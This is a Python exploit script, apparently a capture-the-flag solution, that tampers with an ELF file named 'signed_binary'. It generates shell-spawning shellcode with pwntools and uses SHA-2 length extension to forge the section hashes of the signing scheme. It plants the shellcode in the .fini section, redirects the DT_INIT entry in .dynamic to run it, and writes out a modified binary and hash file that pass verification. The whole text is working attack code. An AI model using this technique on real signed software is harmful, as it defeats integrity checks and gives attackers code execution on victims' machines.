88 lines
3.6 KiB
Python
88 lines
3.6 KiB
Python
from pwn import *
|
|
context.arch = "amd64"
|
|
shellcode = asm(shellcraft.amd64.linux.sh())
|
|
|
|
import binascii, hashlib, struct
|
|
|
|
from elftools.elf.elffile import ELFFile
|
|
|
|
from sha2extend import *
|
|
|
|
def modify_binary(hashes_file="./test_hashes.txt"):
|
|
binary = ELFFile(open("./signed_binary", "rb"))
|
|
with open("./signed_binary", "rb") as f:
|
|
binary_contents = bytearray(f.read())
|
|
|
|
with open(hashes_file, "rb") as f:
|
|
hashes = [x for x in f]
|
|
|
|
key_len = 30
|
|
|
|
fini_idx = binary.get_section_index(".fini")
|
|
fini_off = binary.get_section(fini_idx).header.sh_offset
|
|
fini_end_off = binary.get_section(fini_idx + 1).header.sh_offset
|
|
fini_len = fini_end_off - fini_off
|
|
|
|
init_array_idx = binary.get_section_index(".init_array")
|
|
init_array_data = binary.get_section(init_array_idx).data()
|
|
init_array_hash = hashes[init_array_idx + 3].split(b":")[1].decode().strip()
|
|
|
|
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
|
|
init_array_hash, shellcode)
|
|
fini_extension = init_array_data + fini_extension
|
|
|
|
pad_len = fini_len - len(fini_extension)
|
|
fini_extension, new_fini_hash = hash_extend(len(init_array_data) + len("sXXYY") + key_len,
|
|
init_array_hash, shellcode + (b"\x00" * pad_len))
|
|
fini_extension = init_array_data + fini_extension
|
|
|
|
binary_contents[fini_off:fini_off+len(fini_extension)] = fini_extension
|
|
hashes[fini_idx + 3] = (f"{init_array_idx+3}{init_array_idx:02X}".encode() + b"\x00:"
|
|
+ binascii.hexlify(new_fini_hash) + b"\n")
|
|
|
|
|
|
dynamic_idx = binary.get_section_index(".dynamic")
|
|
dynamic_off = binary.get_section(dynamic_idx).header.sh_offset
|
|
dynamic_data = bytearray(binary.get_section(dynamic_idx).data())
|
|
dynamic_len = len(dynamic_data)
|
|
|
|
for i in range(0, len(dynamic_data), 16):
|
|
if dynamic_data[i:i+16] == (b"\x00" * 16):
|
|
dynamic_data = dynamic_data[:i+16]
|
|
break
|
|
|
|
addr = binary.get_section(fini_idx).header.sh_addr + fini_extension.index(shellcode)
|
|
|
|
for i in range(0, len(dynamic_data), 16):
|
|
dyn = struct.unpack("<QQ", dynamic_data[i:i+16])
|
|
if dyn[0] == 0xc: # DT_INIT
|
|
dynamic_data[i+8:i+16] = struct.pack("<Q", addr)
|
|
break
|
|
|
|
dynamic_data = b"\x00\x00\x00" + dynamic_data
|
|
|
|
pltgot_idx = binary.get_section_index(".plt.got")
|
|
pltgot_data = binary_contents[binary.get_section(pltgot_idx).header.sh_offset:
|
|
binary.get_section(pltgot_idx+1).header.sh_offset]
|
|
pltgot_hash = hashes[pltgot_idx + 3].split(b":")[1].decode().strip()
|
|
|
|
dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
|
|
pltgot_hash, dynamic_data)
|
|
dyn_extension = pltgot_data + dyn_extension
|
|
|
|
padding_len = dynamic_len - len(dyn_extension)
|
|
dyn_extension, new_dyn_hash = hash_extend(len(pltgot_data) + len("sXXYY") + key_len,
|
|
pltgot_hash,
|
|
dynamic_data + b"\x00"*padding_len)
|
|
dyn_extension = pltgot_data + dyn_extension
|
|
|
|
binary_contents[dynamic_off:dynamic_off+len(dyn_extension)] = dyn_extension
|
|
hashes[dynamic_idx + 3] = (f"{pltgot_idx+3}{pltgot_idx:02X}".encode() + b"\x00:"
|
|
+ binascii.hexlify(new_dyn_hash) + b"\n")
|
|
|
|
with open("./signed_binary_modified", "wb") as f:
|
|
f.write(binary_contents)
|
|
|
|
with open(hashes_file + "_modified", "wb") as f:
|
|
f.writelines(hashes)
|